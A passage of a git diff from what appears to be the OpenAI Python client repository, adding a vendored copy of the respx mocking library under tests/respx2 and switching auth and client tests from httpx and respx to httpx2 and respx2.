+ def record(
+ self,
+ request: httpx.Request,
+ *,
+ response: Optional[httpx.Response] = None,
+ route: Optional[Route] = None,
+ ) -> None:
+ call = self.calls.record(request, response)
+ if route:
+ route.calls.append(call)
+
+ @contextmanager
+ def resolver(self, request: httpx.Request) -> Generator[ResolvedRoute, None, None]:
+ resolved = ResolvedRoute()
+
+ try:
+ yield resolved
+
+ if resolved.route is None:
+ # Assert we always get a route match, if check is enabled
+ if self._assert_all_mocked:
+ raise AllMockedAssertionError(f"RESPX: {request!r} not mocked!")
+
+ # Auto mock a successful empty response
+ resolved.response = httpx.Response(200)
+
+ elif resolved.response == request:
+ # Pass-through request
+ raise PassThrough(
+ f"Request marked to pass through: {request!r}",
+ request=request,
+ origin=resolved.route,
+ )
+
+ else:
+ # Mocked response
+ assert isinstance(resolved.response, httpx.Response)
+
+ except SideEffectError as error:
+ self.record(request, response=None, route=error.route)
+ raise error.origin from error
+ except PassThrough:
+ self.record(request, response=None, route=resolved.route)
+ raise
+ else:
+ self.record(request, response=resolved.response, route=resolved.route)
+
+ def resolve(self, request: httpx.Request) -> ResolvedRoute:
+ with self.resolver(request) as resolved:
+ for route in self.routes:
+ prospect = route.match(request)
+ if prospect is not None:
+ resolved.route = route
+ resolved.response = cast(ResolvedResponseTypes, prospect)
+ break
+
+ if resolved.response and isinstance(resolved.response.stream, httpx.ByteStream):
+ resolved.response.read() # Pre-read stream
+
+ return resolved
+
+ async def aresolve(self, request: httpx.Request) -> ResolvedRoute:
+ with self.resolver(request) as resolved:
+ for route in self.routes:
+ prospect: RouteResultTypes = route.match(request)
+
+ # Await async side effect and wrap any exception
+ if inspect.isawaitable(prospect):
+ try:
+ prospect = await prospect
+ except Exception as error:
+ raise SideEffectError(route, origin=error) from error
+
+ if prospect is not None:
+ resolved.route = route
+ resolved.response = cast(ResolvedResponseTypes, prospect)
+ break
+
+ if resolved.response and isinstance(resolved.response.stream, httpx.ByteStream):
+ await resolved.response.aread() # Pre-read stream
+
+ return resolved
+
+ def handler(self, request: httpx.Request) -> httpx.Response:
+ resolved = self.resolve(request)
+ assert isinstance(resolved.response, httpx.Response)
+ return resolved.response
+
+ async def async_handler(self, request: httpx.Request) -> httpx.Response:
+ resolved = await self.aresolve(request)
+ assert isinstance(resolved.response, httpx.Response)
+ return resolved.response
+
+
+class MockRouter(Router):
+ def __init__(
+ self,
+ *,
+ assert_all_called: bool = True,
+ assert_all_mocked: bool = True,
+ base_url: Optional[str] = None,
+ using: Optional[Union[str, Default]] = DEFAULT,
+ ) -> None:
+ super().__init__(
+ assert_all_called=assert_all_called,
+ assert_all_mocked=assert_all_mocked,
+ base_url=base_url,
+ )
+ self.Mocker: Optional[Type[Mocker]] = None
+ self._using = using
+
+ @overload
+ def __call__(
+ self,
+ func: None = None,
+ *,
+ assert_all_called: Optional[bool] = None,
+ assert_all_mocked: Optional[bool] = None,
+ base_url: Optional[str] = None,
+ using: Optional[Union[str, Default]] = DEFAULT,
+ ) -> "MockRouter":
+ ... # pragma: nocover
+
+ @overload
+ def __call__(
+ self,
+ func: Callable = ...,
+ *,
+ assert_all_called: Optional[bool] = None,
+ assert_all_mocked: Optional[bool] = None,
+ base_url: Optional[str] = None,
+ using: Optional[Union[str, Default]] = DEFAULT,
+ ) -> Callable:
+ ... # pragma: nocover
+
+ def __call__(
+ self,
+ func: Optional[Callable] = None,
+ *,
+ assert_all_called: Optional[bool] = None,
+ assert_all_mocked: Optional[bool] = None,
+ base_url: Optional[str] = None,
+ using: Optional[Union[str, Default]] = DEFAULT,
+ ) -> Union["MockRouter", Callable]:
+ """
+ Decorator or Context Manager.
+
+ Use decorator/manager with parentheses for local state, or without parentheses
+ for global state, i.e. shared patterns added outside of scope.
+ """
+ if func is None:
+ # Parentheses used, branch out to new nested instance.
+ # - Only stage when using local ctx `with respx.mock(...) as respx_mock:`
+ # - First stage when using local decorator `@respx.mock(...)`
+ # FYI, global ctx `with respx.mock:` hits __enter__ directly
+ settings: Dict[str, Any] = {
+ "base_url": base_url,
+ "using": using,
+ }
+ if assert_all_called is not None:
+ settings["assert_all_called"] = assert_all_called
+ if assert_all_mocked is not None:
+ settings["assert_all_mocked"] = assert_all_mocked
+ respx_mock = self.__class__(**settings)
+ return respx_mock
+
+ # Determine if decorated function needs a `respx_mock` instance
+ is_async = inspect.iscoroutinefunction(func)
+ argspec = inspect.getfullargspec(func)
+ needs_mock_reference = "respx_mock" in argspec.args
+
+ if needs_mock_reference:
+ func = partial(func, respx_mock=self)
+
+ # Async Decorator
+ async def _async_decorator(*args, **kwargs):
+ assert func is not None
+ async with self:
+ return await func(*args, **kwargs)
+
+ # Sync Decorator
+ def _sync_decorator(*args, **kwargs):
+ assert func is not None
+ with self:
+ return func(*args, **kwargs)
+
+ if needs_mock_reference:
+ async_decorator = wraps(func)(_async_decorator)
+ sync_decorator = wraps(func)(_sync_decorator)
+ else:
+ async_decorator = update_wrapper(_async_decorator, func)
+ sync_decorator = update_wrapper(_sync_decorator, func)
+
+ # Dispatch async/sync decorator, depending on decorated function.
+ # - Only stage when using global decorator `@respx.mock`
+ # - Second stage when using local decorator `@respx.mock(...)`
+ return async_decorator if is_async else sync_decorator
+
+ def __enter__(self) -> "MockRouter":
+ self.start()
+ return self
+
+ def __exit__(
+ self,
+ exc_type: Optional[Type[BaseException]] = None,
+ exc_value: Optional[BaseException] = None,
+ traceback: Optional[TracebackType] = None,
+ ) -> None:
+ self.stop(quiet=bool(exc_type is not None))
+
+ async def __aenter__(self) -> "MockRouter":
+ return self.__enter__()
+
+ async def __aexit__(self, *args: Any) -> None:
+ self.__exit__(*args)
+
+ @property
+ def using(self) -> Optional[str]:
+ from tests.respx2.mocks import DEFAULT_MOCKER
+
+ if self._using is None:
+ using = None
+ elif self._using is DEFAULT:
+ using = DEFAULT_MOCKER
+ elif isinstance(self._using, str):
+ using = self._using
+ else:
+ raise ValueError(f"Invalid Router `using` kwarg: {self._using!r}")
+
+ return using
+
+ def start(self) -> None:
+ """
+ Register transport, snapshot router and start patching.
+ """
+ self.snapshot()
+ self.Mocker = Mocker.registry.get(self.using or "")
+ if self.Mocker:
+ self.Mocker.register(self)
+ self.Mocker.start()
+
+ def stop(self, clear: bool = True, reset: bool = True, quiet: bool = False) -> None:
+ """
+ Unregister transport and rollback router.
+ Stop patching when no registered transports left.
+ """
+ unregistered = self.Mocker.unregister(self) if self.Mocker else True
+
+ try:
+ if unregistered and not quiet and self._assert_all_called:
+ self.assert_all_called()
+ finally:
+ if clear:
+ self.rollback()
+ if reset:
+ self.reset()
+ if self.Mocker:
+ self.Mocker.stop()
diff --git a/tests/respx2/transports.py b/tests/respx2/transports.py
new file mode 100644
index 0000000000..7fb2c5d2db
--- /dev/null
+++ b/tests/respx2/transports.py
@@ -0,0 +1,93 @@
+from types import TracebackType
+from typing import (
+ TYPE_CHECKING,
+ Any,
+ Callable,
+ Coroutine,
+ List,
+ Optional,
+ Type,
+ Union,
+ cast,
+)
+from warnings import warn
+
+import httpx2 as httpx
+from httpx2 import AsyncBaseTransport, BaseTransport
+
+from .models import PassThrough
+
+if TYPE_CHECKING:
+ from .router import Router # pragma: nocover
+
+RequestHandler = Callable[[httpx.Request], httpx.Response]
+AsyncRequestHandler = Callable[[httpx.Request], Coroutine[None, None, httpx.Response]]
+
+
+class MockTransport(httpx.MockTransport):
+ _router: Optional["Router"]
+
+ def __init__(
+ self,
+ *,
+ handler: Optional[RequestHandler] = None,
+ async_handler: Optional[AsyncRequestHandler] = None,
+ router: Optional["Router"] = None,
+ ):
+ if router:
+ super().__init__(router.handler)
+ self._router = router
+ elif handler:
+ super().__init__(handler)
+ self._router = None
+ elif async_handler:
+ super().__init__(async_handler)
+ self._router = None
+ else:
+ raise RuntimeError(
+ "Missing a MockTransport required handler or router argument"
+ )
+ warn(
+ "MockTransport is deprecated. "
+ "Please use `httpx.MockTransport(respx_router.handler)`.",
+ category=DeprecationWarning,
+ )
+
+ def __exit__(
+ self,
+ exc_type: Optional[Type[BaseException]] = None,
+ exc_value: Optional[BaseException] = None,
+ traceback: Optional[TracebackType] = None,
+ ) -> None:
+ if not exc_type and self._router and self._router._assert_all_called:
+ self._router.assert_all_called()
+
+ async def __aexit__(self, *args: Any) -> None:
+ self.__exit__(*args)
+
+
+class TryTransport(BaseTransport, AsyncBaseTransport):
+ def __init__(
+ self, transports: List[Union[BaseTransport, AsyncBaseTransport]]
+ ) -> None:
+ self.transports = transports
+
+ def handle_request(self, request: httpx.Request) -> httpx.Response:
+ for transport in self.transports:
+ try:
+ transport = cast(BaseTransport, transport)
+ return transport.handle_request(request)
+ except PassThrough:
+ continue
+
+ raise RuntimeError() # pragma: nocover
+
+ async def handle_async_request(self, request: httpx.Request) -> httpx.Response:
+ for transport in self.transports:
+ try:
+ transport = cast(AsyncBaseTransport, transport)
+ return await transport.handle_async_request(request)
+ except PassThrough:
+ continue
+
+ raise RuntimeError() # pragma: nocover
diff --git a/tests/respx2/types.py b/tests/respx2/types.py
new file mode 100644
index 0000000000..41956308f0
--- /dev/null
+++ b/tests/respx2/types.py
@@ -0,0 +1,71 @@
+from typing import (
+ IO,
+ Any,
+ AsyncIterable,
+ Awaitable,
+ Callable,
+ Dict,
+ Iterable,
+ Iterator,
+ List,
+ Mapping,
+ Optional,
+ Pattern,
+ Sequence,
+ Tuple,
+ Type,
+ TypeVar,
+ Union,
+)
+
+import httpx2 as httpx
+
+URL = Tuple[
+ bytes, # scheme
+ bytes, # host
+ Optional[int], # port
+ bytes, # path
+]
+Headers = List[Tuple[bytes, bytes]]
+Content = Union[str, bytes, Iterable[bytes], AsyncIterable[bytes]]
+
+HeaderTypes = Union[
+ httpx.Headers,
+ Dict[str, str],
+ Dict[bytes, bytes],
+ Sequence[Tuple[str, str]],
+ Sequence[Tuple[bytes, bytes]],
+]
+CookieTypes = Union[Dict[str, str], Sequence[Tuple[str, str]]]
+
+DefaultType = TypeVar("DefaultType", bound=Any)
+
+URLPatternTypes = Union[str, Pattern[str], URL, httpx.URL]
+QueryParamTypes = Union[
+ bytes, str, List[Tuple[str, Any]], Dict[str, Any], Tuple[Tuple[str, Any], ...]
+]
+
+ResolvedResponseTypes = Optional[Union[httpx.Request, httpx.Response]]
+RouteResultTypes = Union[ResolvedResponseTypes, Awaitable[ResolvedResponseTypes]]
+CallableSideEffect = Callable[..., RouteResultTypes]
+SideEffectListTypes = Union[httpx.Response, Exception, Type[Exception]]
+SideEffectTypes = Union[
+ CallableSideEffect,
+ Exception,
+ Type[Exception],
+ Iterator[SideEffectListTypes],
+]
+
+# Borrowed from HTTPX's "private" types.
+FileContent = Union[IO[bytes], bytes, str]
+FileTypes = Union[
+ # file (or bytes)
+ FileContent,
+ # (filename, file (or bytes))
+ Tuple[Optional[str], FileContent],
+ # (filename, file (or bytes), content_type)
+ Tuple[Optional[str], FileContent, Optional[str]],
+ # (filename, file (or bytes), content_type, headers)
+ Tuple[Optional[str], FileContent, Optional[str], Mapping[str, str]],
+]
+RequestFiles = Union[Mapping[str, FileTypes], Sequence[Tuple[str, FileTypes]]]
diff --git a/tests/respx2/utils.py b/tests/respx2/utils.py
new file mode 100644
index 0000000000..085d0c3b21
--- /dev/null
+++ b/tests/respx2/utils.py
@@ -0,0 +1,157 @@
+import email
+from collections import defaultdict
+from datetime import datetime
+from email.message import Message
+from typing import (
+ Any,
+ Dict,
+ Iterable,
+ List,
+ Literal,
+ NamedTuple,
+ Optional,
+ Tuple,
+ Type,
+ TypeVar,
+ Union,
+ cast,
+)
+from urllib.parse import parse_qsl
+
+import httpx2 as httpx
+
+
+class MultiItems(defaultdict):
+ def __init__(self, values: Optional[Iterable[Tuple[str, Any]]] = None) -> None:
+ super().__init__(tuple)
+ if values is not None:
+ for key, value in values:
+ if isinstance(value, (tuple, list)):
+ self[key] += tuple(value) # Convert list to tuple and extend
+ else:
+ self[key] += (value,) # Extend with value
+
+ def get_list(self, key: str) -> List[Any]:
+ return list(self[key])
+
+ def multi_items(self) -> List[Tuple[str, str]]:
+ return [(key, value) for key, values in self.items() for value in values]
+
+ def append(self, key: str, value: Any) -> None:
+ self[key] += (value,)
+
+
+def _parse_multipart_form_data(
+ content: bytes, *, content_type: str, encoding: str
+) -> Tuple[MultiItems, MultiItems]:
+ form_data = b"\r\n".join(
+ (
+ b"MIME-Version: 1.0",
+ b"Content-Type: " + content_type.encode(encoding),
+ b"\r\n" + content,
+ )
+ )
+ data = MultiItems()
+ files = MultiItems()
+ for payload in email.message_from_bytes(form_data).get_payload():
+ payload = cast(Message, payload)
+ name = payload.get_param("name", header="Content-Disposition")
+ assert isinstance(name, str)
+ filename = payload.get_filename()
+ content_type = payload.get_content_type()
+ value = payload.get_payload(decode=True)
+ assert isinstance(value, bytes)
+ if content_type.startswith("text/") and filename is None:
+ # Text field
+ data.append(name, value.decode(payload.get_content_charset() or "utf-8"))
+ else:
+ # File field
+ files.append(name, (filename, value))
+
+ return data, files
+
+
+def _parse_urlencoded_data(content: bytes, *, encoding: str) -> MultiItems:
+ return MultiItems(
+ (key, value)
+ for key, value in parse_qsl(content.decode(encoding), keep_blank_values=True)
+ )
+
+
+def decode_data(request: httpx.Request) -> Tuple[MultiItems, MultiItems]:
+ content = request.read()
+ content_type = request.headers.get("Content-Type", "")
+
+ if content_type.startswith("multipart/form-data"):
+ data, files = _parse_multipart_form_data(
+ content,
+ content_type=content_type,
+ encoding=request.headers.encoding,
+ )
+ else:
+ data = _parse_urlencoded_data(
+ content,
+ encoding=request.headers.encoding,
+ )
+ files = MultiItems()
+
+ return data, files
+
+
+Self = TypeVar("Self", bound="SetCookie")
+
+
+class SetCookie(
+ NamedTuple(
+ "SetCookie",
+ [
+ ("header_name", Literal["Set-Cookie"]),
+ ("header_value", str),
+ ],
+ )
+):
+ def __new__(
+ cls: Type[Self],
+ name: str,
+ value: str,
+ *,
+ path: Optional[str] = None,
+ domain: Optional[str] = None,
+ expires: Optional[Union[str, datetime]] = None,
+ max_age: Optional[int] = None,
+ http_only: bool = False,
+ same_site: Optional[Literal["Strict", "Lax", "None"]] = None,
+ secure: bool = False,
+ partitioned: bool = False,
+ ) -> Self:
+ """
+ https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#syntax
+ """
+ attrs: Dict[str, Union[str, bool]] = {name: value}
+ if path is not None:
+ attrs["Path"] = path
+ if domain is not None:
+ attrs["Domain"] = domain
+ if expires is not None:
+ if isinstance(expires, datetime): # pragma: no branch
+ expires = expires.strftime("%a, %d %b %Y %H:%M:%S GMT")
+ attrs["Expires"] = expires
+ if max_age is not None:
+ attrs["Max-Age"] = str(max_age)
+ if http_only:
+ attrs["HttpOnly"] = True
+ if same_site is not None:
+ attrs["SameSite"] = same_site
+ if same_site == "None": # pragma: no branch
+ secure = True
+ if secure:
+ attrs["Secure"] = True
+ if partitioned:
+ attrs["Partitioned"] = True
+
+ string = "; ".join(
+ _name if _value is True else f"{_name}={_value}"
+ for _name, _value in attrs.items()
+ )
+ self = super().__new__(cls, "Set-Cookie", string)
+ return self
diff --git a/tests/test_auth.py b/tests/test_auth.py
index 17e9cd814c..f9b1719cb5 100644
--- a/tests/test_auth.py
+++ b/tests/test_auth.py
@@ -2,13 +2,13 @@
from typing import cast
from pathlib import Path
-import httpx
-import respx
+import httpx2
import pytest
-from respx.models import Call
from inline_snapshot import snapshot
+from tests import respx2
from openai import OpenAI, OAuthError
+from tests.respx2.models import Call
from openai.auth._workload import (
gcp_id_token_provider,
k8s_service_account_token_provider,
@@ -16,10 +16,10 @@
)
-@respx.mock
+@respx2.mock
def test_basic_auth():
- respx.post("https://auth.openai.com/oauth/token").mock(
- return_value=httpx.Response(
+ respx2.post("https://auth.openai.com/oauth/token").mock(
+ return_value=httpx2.Response(
200,
json={
"access_token": "fake_access_token",
@@ -30,8 +30,8 @@ def test_basic_auth():
)
)
- respx.get("https://api.openai.com/v1/models").mock(
- return_value=httpx.Response(200, json={"data": [], "object": "list"})
+ respx2.get("https://api.openai.com/v1/models").mock(
+ return_value=httpx2.Response(200, json={"data": [], "object": "list"})
)
client = OpenAI(
@@ -47,15 +47,15 @@ def test_basic_auth():
client.models.list()
- assert len(respx.calls) == 2
- token_call = cast(Call, respx.calls[0])
- api_call = cast(Call, respx.calls[1])
+ assert len(respx2.calls) == 2
+ token_call = cast(Call, respx2.calls[0])
+ api_call = cast(Call, respx2.calls[1])
assert token_call.request.url == "https://auth.openai.com/oauth/token"
assert api_call.request.headers.get("Authorization") == "Bearer fake_access_token"
-@respx.mock
+@respx2.mock
def test_workload_identity_exchange_payload_and_cache() -> None:
provider_call_count = 0
@@ -64,8 +64,8 @@ def provider() -> str:
provider_call_count += 1
return "fake_subject_token"
- exchange_route = respx.post("https://auth.openai.com/oauth/token").mock(
- return_value=httpx.Response(
+ exchange_route = respx2.post("https://auth.openai.com/oauth/token").mock(
+ return_value=httpx2.Response(
200,
json={
"access_token": "fake_access_token",
@@ -75,8 +75,8 @@ def provider() -> str:
},
)
)
- api_route = respx.get("https://api.openai.com/v1/models").mock(
- return_value=httpx.Response(200, json={"data": [], "object": "list"})
+ api_route = respx2.get("https://api.openai.com/v1/models").mock(
+ return_value=httpx2.Response(200, json={"data": [], "object": "list"})
)
client = OpenAI(
@@ -97,7 +97,7 @@ def provider() -> str:
assert exchange_route.call_count == 1
assert api_route.call_count == 2
- exchange_request = cast(respx.models.Call, exchange_route.calls[0]).request
+ exchange_request = cast(respx2.models.Call, exchange_route.calls[0]).request
assert json.loads(exchange_request.content) == snapshot(
{
"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
@@ -109,17 +109,17 @@ def provider() -> str:
)
assert (
- cast(respx.models.Call, api_route.calls[0]).request.headers.get("Authorization") == "Bearer fake_access_token"
+ cast(respx2.models.Call, api_route.calls[0]).request.headers.get("Authorization") == "Bearer fake_access_token"
)
assert (
- cast(respx.models.Call, api_route.calls[1]).request.headers.get("Authorization") == "Bearer fake_access_token"
+ cast(respx2.models.Call, api_route.calls[1]).request.headers.get("Authorization") == "Bearer fake_access_token"
)
-@respx.mock
+@respx2.mock
def test_workload_identity_exchange_error() -> None:
- exchange_route = respx.post("https://auth.openai.com/oauth/token").mock(
- return_value=httpx.Response(
+ exchange_route = respx2.post("https://auth.openai.com/oauth/token").mock(
+ return_value=httpx2.Response(
401,
json={
"error": "invalid_grant",
@@ -127,8 +127,8 @@ def test_workload_identity_exchange_error() -> None:
},
)
)
- api_route = respx.get("https://api.openai.com/v1/models").mock(
- return_value=httpx.Response(200, json={"data": [], "object": "list"})
+ api_route = respx2.get("https://api.openai.com/v1/models").mock(
+ return_value=httpx2.Response(200, json={"data": [], "object": "list"})
)
client = OpenAI(
@@ -162,10 +162,10 @@ def test_k8s_service_account_token_provider(tmp_path: Path) -> None:
assert provider["get_token"]() == "my-k8s-token"
-@respx.mock
+@respx2.mock
def test_azure_managed_identity_token_provider() -> None:
- respx.get("http://169.254.169.254/metadata/identity/oauth2/token").mock(
- return_value=httpx.Response(200, json={"access_token": "azure-token"})
+ respx2.get("http://169.254.169.254/metadata/identity/oauth2/token").mock(
+ return_value=httpx2.Response(200, json={"access_token": "azure-token"})
)
provider = azure_managed_identity_token_provider()
@@ -174,10 +174,10 @@ def test_azure_managed_identity_token_provider() -> None:
assert provider["get_token"]() == "azure-token"
-@respx.mock
+@respx2.mock
def test_gcp_id_token_provider() -> None:
- respx.get("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity").mock(
- return_value=httpx.Response(200, text="gcp-token")
+ respx2.get("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity").mock(
+ return_value=httpx2.Response(200, text="gcp-token")
)
provider = gcp_id_token_provider()
diff --git a/tests/test_client.py b/tests/test_client.py
index 33a5b1c224..092050987d 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -14,14 +14,13 @@
from unittest import mock
from typing_extensions import Literal, AsyncIterator, override
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
from pydantic import ValidationError
-from respx.models import Call as MockRequestCall
from openai import OpenAI, AsyncOpenAI, OpenAIError, APIResponseValidationError
from openai.auth import WorkloadIdentity
+from tests.respx2 import MockRouter
from openai._types import Omit
from openai._utils import asyncify
from openai._models import BaseModel, FinalRequestOptions
@@ -37,6 +36,7 @@
get_platform,
make_request_options,
)
+from tests.respx2.models import Call as MockRequestCall
from .utils import update_env
@@ -56,7 +56,7 @@
def _get_params(client: BaseClient[Any, Any]) -> dict[str, str]:
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- url = httpx.URL(request.url)
+ url = httpx2.URL(request.url)
return dict(url.params)
@@ -64,25 +64,25 @@ def _low_retry_timeout(*_args: Any, **_kwargs: Any) -> float:
return 0.1
-def mirror_request_content(request: httpx.Request) -> httpx.Response:
- return httpx.Response(200, content=request.content)
+def mirror_request_content(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(200, content=request.content)
# note: we can't use the httpx.MockTransport class as it consumes the request
# body itself, which means we can't test that the body is read lazily
-class MockTransport(httpx.BaseTransport, httpx.AsyncBaseTransport):
+class MockTransport(httpx2.BaseTransport, httpx2.AsyncBaseTransport):
def __init__(
self,
- handler: Callable[[httpx.Request], httpx.Response]
- | Callable[[httpx.Request], Coroutine[Any, Any, httpx.Response]],
+ handler: Callable[[httpx2.Request], httpx2.Response]
+ | Callable[[httpx2.Request], Coroutine[Any, Any, httpx2.Response]],
) -> None:
self.handler = handler
@override
def handle_request(
self,
- request: httpx.Request,
- ) -> httpx.Response:
+ request: httpx2.Request,
+ ) -> httpx2.Response:
assert not inspect.iscoroutinefunction(self.handler), "handler must not be a coroutine function"
assert inspect.isfunction(self.handler), "handler must be a function"
return self.handler(request)
@@ -90,8 +90,8 @@ def handle_request(
@override
async def handle_async_request(
self,
- request: httpx.Request,
- ) -> httpx.Response:
+ request: httpx2.Request,
+ ) -> httpx2.Response:
assert inspect.iscoroutinefunction(self.handler), "handler must be a coroutine function"
return await self.handler(request)
@@ -117,7 +117,7 @@ async def _make_async_iterator(iterable: Iterable[T], counter: Optional[Counter]
def _get_open_connections(client: OpenAI | AsyncOpenAI) -> int:
transport = client._client._transport
- if isinstance(transport, httpx.HTTPTransport) or isinstance(transport, httpx.AsyncHTTPTransport):
+ if isinstance(transport, httpx2.HTTPTransport) or isinstance(transport, httpx2.AsyncHTTPTransport):
return len(transport._pool._requests)
assert type(transport).__module__ == "httpx2"
@@ -125,24 +125,24 @@ def _get_open_connections(client: OpenAI | AsyncOpenAI) -> int:
class TestOpenAI:
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response(self, respx_mock: MockRouter, client: OpenAI) -> None:
- respx_mock.post("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ respx2_mock.post("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- response = client.post("/foo", cast_to=httpx.Response)
+ response = client.post("/foo", cast_to=httpx2.Response)
assert response.status_code == 200
- assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx")
+ assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx2")
assert response.json() == {"foo": "bar"}
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_for_binary(self, respx_mock: MockRouter, client: OpenAI) -> None:
- respx_mock.post("/foo").mock(
- return_value=httpx.Response(200, headers={"Content-Type": "application/binary"}, content='{"foo": "bar"}')
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_for_binary(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ respx2_mock.post("/foo").mock(
+ return_value=httpx2.Response(200, headers={"Content-Type": "application/binary"}, content='{"foo": "bar"}')
)
- response = client.post("/foo", cast_to=httpx.Response)
+ response = client.post("/foo", cast_to=httpx2.Response)
assert response.status_code == 200
- assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx")
+ assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx2")
assert response.json() == {"foo": "bar"}
def test_copy(self, client: OpenAI) -> None:
@@ -168,10 +168,10 @@ def test_copy_default_options(self, client: OpenAI) -> None:
assert copied.max_retries == 7
# timeout
- assert isinstance(client.timeout, httpx.Timeout)
+ assert isinstance(client.timeout, httpx2.Timeout)
copied = client.copy(timeout=None)
assert copied.timeout is None
- assert isinstance(client.timeout, httpx.Timeout)
+ assert isinstance(client.timeout, httpx2.Timeout)
def test_copy_default_headers(self) -> None:
client = OpenAI(
@@ -335,12 +335,12 @@ def add_leak(leaks: list[tracemalloc.StatisticDiff], diff: tracemalloc.Statistic
def test_request_timeout(self, client: OpenAI) -> None:
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
assert timeout == DEFAULT_TIMEOUT
- request = client._build_request(FinalRequestOptions(method="get", url="/foo", timeout=httpx.Timeout(100.0)))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
- assert timeout == httpx.Timeout(100.0)
+ request = client._build_request(FinalRequestOptions(method="get", url="/foo", timeout=httpx2.Timeout(100.0)))
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
+ assert timeout == httpx2.Timeout(100.0)
def test_client_timeout_option(self) -> None:
client = OpenAI(
@@ -348,18 +348,18 @@ def test_client_timeout_option(self) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- timeout=httpx.Timeout(0),
+ timeout=httpx2.Timeout(0),
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
- assert timeout == httpx.Timeout(0)
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
+ assert timeout == httpx2.Timeout(0)
client.close()
def test_http_client_timeout_option(self) -> None:
# custom timeout given to the httpx client should be used
- with httpx.Client(timeout=None) as http_client:
+ with httpx2.Client(timeout=None) as http_client:
client = OpenAI(
base_url=base_url,
api_key=api_key,
@@ -369,13 +369,13 @@ def test_http_client_timeout_option(self) -> None:
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
- assert timeout == httpx.Timeout(None)
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
+ assert timeout == httpx2.Timeout(None)
client.close()
# no timeout given to the httpx client should not use the httpx default
- with httpx.Client() as http_client:
+ with httpx2.Client() as http_client:
client = OpenAI(
base_url=base_url,
api_key=api_key,
@@ -385,13 +385,13 @@ def test_http_client_timeout_option(self) -> None:
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
assert timeout == DEFAULT_TIMEOUT
client.close()
# explicitly passing the default timeout currently results in it being ignored
- with httpx.Client(timeout=HTTPX_DEFAULT_TIMEOUT) as http_client:
+ with httpx2.Client(timeout=HTTPX_DEFAULT_TIMEOUT) as http_client:
client = OpenAI(
base_url=base_url,
api_key=api_key,
@@ -401,14 +401,14 @@ def test_http_client_timeout_option(self) -> None:
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
assert timeout == DEFAULT_TIMEOUT # our default
client.close()
async def test_invalid_http_client(self) -> None:
with pytest.raises(TypeError, match="Invalid `http_client` arg"):
- async with httpx.AsyncClient() as http_client:
+ async with httpx2.AsyncClient() as http_client:
OpenAI(
base_url=base_url,
api_key=api_key,
@@ -524,9 +524,9 @@ def test_validate_headers(self) -> None:
with pytest.raises(OpenAIError, match="Missing credentials"):
OpenAI(base_url=base_url, api_key=None, admin_api_key=None, _strict_response_validation=True)
- @pytest.mark.respx(base_url=base_url)
- def test_api_key_provider_preserves_admin_auth(self, respx_mock: MockRouter) -> None:
- respx_mock.get("/organization/projects").mock(return_value=httpx.Response(200, json={"ok": True}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_api_key_provider_preserves_admin_auth(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/organization/projects").mock(return_value=httpx2.Response(200, json={"ok": True}))
provider_called = False
@@ -538,7 +538,7 @@ def api_key_provider() -> str:
client = OpenAI(base_url=base_url, api_key=api_key_provider, admin_api_key=admin_api_key)
response = client.get(
"/organization/projects",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"security": {"admin_api_key_auth": True}},
)
@@ -558,20 +558,20 @@ def api_key_provider() -> str:
with pytest.raises(TypeError, match="Could not resolve authentication method"):
client.get(
"/organization/projects",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"security": {"admin_api_key_auth": True}},
)
assert provider_called is False
- @pytest.mark.respx(base_url=base_url)
- def test_workload_identity_preserves_admin_auth(self, respx_mock: MockRouter) -> None:
- respx_mock.get("/organization/projects").mock(return_value=httpx.Response(200, json={"ok": True}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_workload_identity_preserves_admin_auth(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/organization/projects").mock(return_value=httpx2.Response(200, json={"ok": True}))
client = OpenAI(base_url=base_url, workload_identity=workload_identity, admin_api_key=admin_api_key)
response = client.get(
"/organization/projects",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"security": {"admin_api_key_auth": True}},
)
